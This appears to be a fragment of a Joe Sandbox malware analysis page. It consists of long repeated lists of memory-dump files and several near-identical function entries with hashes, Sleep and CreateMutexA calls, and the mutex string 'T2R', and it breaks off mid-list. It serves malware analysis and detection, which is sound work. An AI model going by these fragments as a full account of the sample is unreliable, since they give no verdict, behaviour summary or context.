Associated: 00000005.00000002.1914003570.0000000000537000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1914127658.0000000000691000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1914162320.0000000000693000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1914190617.00000000006AB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1915462451.00000000006AC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1915804955.00000000006AF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1915804955.00000000006B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1916111137.00000000006BD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1916344914.00000000006C0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1916565883.00000000006CC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1916600058.00000000006D3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1916692832.00000000006E9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917179955.00000000006FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917224109.0000000000715000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917262559.0000000000719000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917376962.000000000071A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917411970.0000000000721000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917449363.0000000000729000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917484910.000000000072B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917514669.000000000072C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917551700.0000000000731000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917583114.000000000073E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917618118.0000000000740000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917654049.0000000000749000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917685847.0000000000751000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917726413.0000000000759000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917756946.000000000075B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917793752.000000000076A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917824049.000000000076C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917864741.0000000000777000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917919293.000000000077B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917919293.000000000079A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1918014173.00000000007AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1918042741.00000000007B1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1918068429.00000000007B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1918092583.00000000007B4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1918117120.00000000007C8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1918150668.00000000007C9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1918189511.00000000007CA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1918223592.00000000007CF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1918257986.00000000007D1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1918292308.00000000007DF000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_4c0000_0Y9DS4ACOZHRKTJZLIK3.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2R
API String ID: 1464230837-4242619351
Opcode ID: 438262b4722ea219e505ec8d75eda47583b3a6763db380ad58665f66f50e1e51
Instruction ID: 0df68db7ea63a2ff7aad0212901c2e36bb8c4a085a36716a46eefc62df5e0fff
Opcode Fuzzy Hash: 438262b4722ea219e505ec8d75eda47583b3a6763db380ad58665f66f50e1e51
Instruction Fuzzy Hash: 86316971A001488BEB089BBCDD89F6DB762EFC231CF20461EE114973D5C77D9990865E

Function 004CA54D Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 132
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 004CA963
CreateMutexA.KERNEL32(00000000,00000000,00523254), ref: 004CA981

Strings

T2R, xrefs: 004CA970

Memory Dump Source

Source File: 00000005.00000002.1913877565.00000000004C1000.00000040.00000001.01000000.00000007.sdmp, Offset: 004C0000, based on PE: true

Associated: 00000005.00000002.1913856341.00000000004C0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1913877565.0000000000522000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1913954864.0000000000529000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1913977071.000000000052B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1914003570.0000000000537000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1914127658.0000000000691000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1914162320.0000000000693000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1914190617.00000000006AB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1915462451.00000000006AC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1915804955.00000000006AF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1915804955.00000000006B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1916111137.00000000006BD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1916344914.00000000006C0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1916565883.00000000006CC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1916600058.00000000006D3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1916692832.00000000006E9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917179955.00000000006FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917224109.0000000000715000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917262559.0000000000719000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917376962.000000000071A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917411970.0000000000721000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917449363.0000000000729000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917484910.000000000072B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917514669.000000000072C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917551700.0000000000731000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917583114.000000000073E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917618118.0000000000740000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917654049.0000000000749000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917685847.0000000000751000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917726413.0000000000759000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917756946.000000000075B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917793752.000000000076A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917824049.000000000076C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917864741.0000000000777000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917919293.000000000077B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917919293.000000000079A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1918014173.00000000007AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1918042741.00000000007B1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1918068429.00000000007B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1918092583.00000000007B4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1918117120.00000000007C8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1918150668.00000000007C9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1918189511.00000000007CA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1918223592.00000000007CF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1918257986.00000000007D1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1918292308.00000000007DF000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_4c0000_0Y9DS4ACOZHRKTJZLIK3.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2R
API String ID: 1464230837-4242619351
Opcode ID: 2510d4192262b9bec7864dcd35a55805ba4ee926741e4d0f0493ed0c20dee969
Instruction ID: 66269cf0480bff008c4093b40be99de006543a8d473ede0c28f444bc2d4bf395
Opcode Fuzzy Hash: 2510d4192262b9bec7864dcd35a55805ba4ee926741e4d0f0493ed0c20dee969
Instruction Fuzzy Hash: 31314571A001089BEB08DBB8CD89F6DBB62ABC231CF24861EE054973C5C77D9991871A

Function 004CA682 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 131
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 004CA963
CreateMutexA.KERNEL32(00000000,00000000,00523254), ref: 004CA981

Strings

T2R, xrefs: 004CA970

Memory Dump Source

Source File: 00000005.00000002.1913877565.00000000004C1000.00000040.00000001.01000000.00000007.sdmp, Offset: 004C0000, based on PE: true

Associated: 00000005.00000002.1913856341.00000000004C0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1913877565.0000000000522000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1913954864.0000000000529000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1913977071.000000000052B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1914003570.0000000000537000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1914127658.0000000000691000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1914162320.0000000000693000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1914190617.00000000006AB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1915462451.00000000006AC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1915804955.00000000006AF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1915804955.00000000006B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1916111137.00000000006BD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1916344914.00000000006C0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1916565883.00000000006CC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1916600058.00000000006D3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1916692832.00000000006E9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917179955.00000000006FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917224109.0000000000715000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917262559.0000000000719000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917376962.000000000071A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917411970.0000000000721000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917449363.0000000000729000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917484910.000000000072B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917514669.000000000072C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917551700.0000000000731000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917583114.000000000073E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917618118.0000000000740000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917654049.0000000000749000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917685847.0000000000751000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917726413.0000000000759000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917756946.000000000075B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917793752.000000000076A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917824049.000000000076C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917864741.0000000000777000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917919293.000000000077B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917919293.000000000079A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1918014173.00000000007AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1918042741.00000000007B1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1918068429.00000000007B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1918092583.00000000007B4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1918117120.00000000007C8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1918150668.00000000007C9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1918189511.00000000007CA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1918223592.00000000007CF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1918257986.00000000007D1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1918292308.00000000007DF000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_4c0000_0Y9DS4ACOZHRKTJZLIK3.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2R
API String ID: 1464230837-4242619351
Opcode ID: dc37a9fe7f5c42dbae2ee35c0c97df6eb6a679cf6f25ad6121ea256aafe174f1
Instruction ID: 658773465a87b4cce1e27e309fd90cc6fa6e0992f2fc9eb5cb966fb2a8176f17
Opcode Fuzzy Hash: dc37a9fe7f5c42dbae2ee35c0c97df6eb6a679cf6f25ad6121ea256aafe174f1
Instruction Fuzzy Hash: 7E315B757001088BEB08DBBCCD89F6DBB62ABC231CF24461EE114D73D1C77D9990865A

Function 004C9ADC Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 107
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 004CA963
CreateMutexA.KERNEL32(00000000,00000000,00523254), ref: 004CA981

Strings

T2R, xrefs: 004CA970

Memory Dump Source

Source File: 00000005.00000002.1913877565.00000000004C1000.00000040.00000001.01000000.00000007.sdmp, Offset: 004C0000, based on PE: true

Associated: 00000005.00000002.1913856341.00000000004C0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1913877565.0000000000522000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1913954864.0000000000529000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1913977071.000000000052B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1914003570.0000000000537000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1914127658.0000000000691000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1914162320.0000000000693000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1914190617.00000000006AB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1915462451.00000000006AC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1915804955.00000000006AF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1915804955.00000000006B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1916111137.00000000006BD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1916344914.00000000006C0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1916565883.00000000006CC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1916600058.00000000006D3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1916692832.00000000006E9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917179955.00000000006FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917224109.0000000000715000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917262559.0000000000719000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917376962.000000000071A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917411970.0000000000721000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917449363.0000000000729000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917484910.000000000072B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917514669.000000000072C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917551700.0000000000731000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917583114.000000000073E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917618118.0000000000740000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917654049.0000000000749000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917685847.0000000000751000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917726413.0000000000759000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917756946.000000000075B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917793752.000000000076A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917824049.000000000076C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917864741.0000000000777000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917919293.000000000077B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917919293.000000000079A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1918014173.00000000007AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1918042741.00000000007B1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1918068429.00000000007B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1918092583.00000000007B4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1918117120.00000000007C8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1918150668.00000000007C9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1918189511.00000000007CA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1918223592.00000000007CF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1918257986.00000000007D1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1918292308.00000000007DF000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_4c0000_0Y9DS4ACOZHRKTJZLIK3.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2R
API String ID: 1464230837-4242619351
Opcode ID: 1d682dcfad2d5ee856ce445f0735bc0854a7804ac5cb7b4f561007a546cc624b
Instruction ID: 7e03a78b49f838daa6d07b96eb7ac19341662630be344ab36bd2acf642bcd991
Opcode Fuzzy Hash: 1d682dcfad2d5ee856ce445f0735bc0854a7804ac5cb7b4f561007a546cc624b
Instruction Fuzzy Hash: FE219A75704204ABEB189B6CECC9B2DB762EBC2308F20461FE514C73D0D77D9D90861A

Function 004CA856 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 004CA963
CreateMutexA.KERNEL32(00000000,00000000,00523254), ref: 004CA981

Strings

T2R, xrefs: 004CA970

Memory Dump Source

Source File: 00000005.00000002.1913877565.00000000004C1000.00000040.00000001.01000000.00000007.sdmp, Offset: 004C0000, based on PE: true

Associated: 00000005.00000002.1913856341.00000000004C0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1913877565.0000000000522000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1913954864.0000000000529000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1913977071.000000000052B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1914003570.0000000000537000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1914127658.0000000000691000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1914162320.0000000000693000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1914190617.00000000006AB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1915462451.00000000006AC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1915804955.00000000006AF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1915804955.00000000006B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1916111137.00000000006BD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1916344914.00000000006C0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1916565883.00000000006CC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1916600058.00000000006D3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1916692832.00000000006E9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917179955.00000000006FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917224109.0000000000715000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917262559.0000000000719000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917376962.000000000071A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917411970.0000000000721000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917449363.0000000000729000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917484910.000000000072B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917514669.000000000072C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917551700.0000000000731000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917583114.000000000073E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917618118.0000000000740000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917654049.0000000000749000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917685847.0000000000751000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917726413.0000000000759000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917756946.000000000075B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917793752.000000000076A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917824049.000000000076C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917864741.0000000000777000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917919293.000000000077B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917919293.000000000079A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1918014173.00000000007AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1918042741.00000000007B1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1918068429.00000000007B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1918092583.00000000007B4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1918117120.00000000007C8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1918150668.00000000007C9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1918189511.00000000007CA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1918223592.00000000007CF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1918257986.00000000007D1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1918292308.00000000007DF000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_4c0000_0Y9DS4ACOZHRKTJZLIK3.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2R
API String ID: 1464230837-4242619351
Opcode ID: 7f7155ef746e13c619bd6e98ad707c4391ff6458cade150bfeccfb2e992b914b
Instruction ID: 9e10a5eb2e86c4f1ba02c475a48879ac086fea75b67737f8fd27e3922b890216
Opcode Fuzzy Hash: 7f7155ef746e13c619bd6e98ad707c4391ff6458cade150bfeccfb2e992b914b
Instruction Fuzzy Hash: 83216D792452088BF76477AD989AF3EB7629F8230CF240D1FE104D63C1CA7E499185AB

Function 004CA34F Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 004CA963
CreateMutexA.KERNEL32(00000000,00000000,00523254), ref: 004CA981

Strings

T2R, xrefs: 004CA970

Memory Dump Source

Source File: 00000005.00000002.1913877565.00000000004C1000.00000040.00000001.01000000.00000007.sdmp, Offset: 004C0000, based on PE: true

Associated: 00000005.00000002.1913856341.00000000004C0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1913877565.0000000000522000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1913954864.0000000000529000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1913977071.000000000052B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1914003570.0000000000537000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1914127658.0000000000691000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1914162320.0000000000693000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1914190617.00000000006AB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1915462451.00000000006AC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1915804955.00000000006AF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1915804955.00000000006B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1916111137.00000000006BD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1916344914.00000000006C0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1916565883.00000000006CC000.00000080.00000001.01000000.00000007.sdmpDownload File
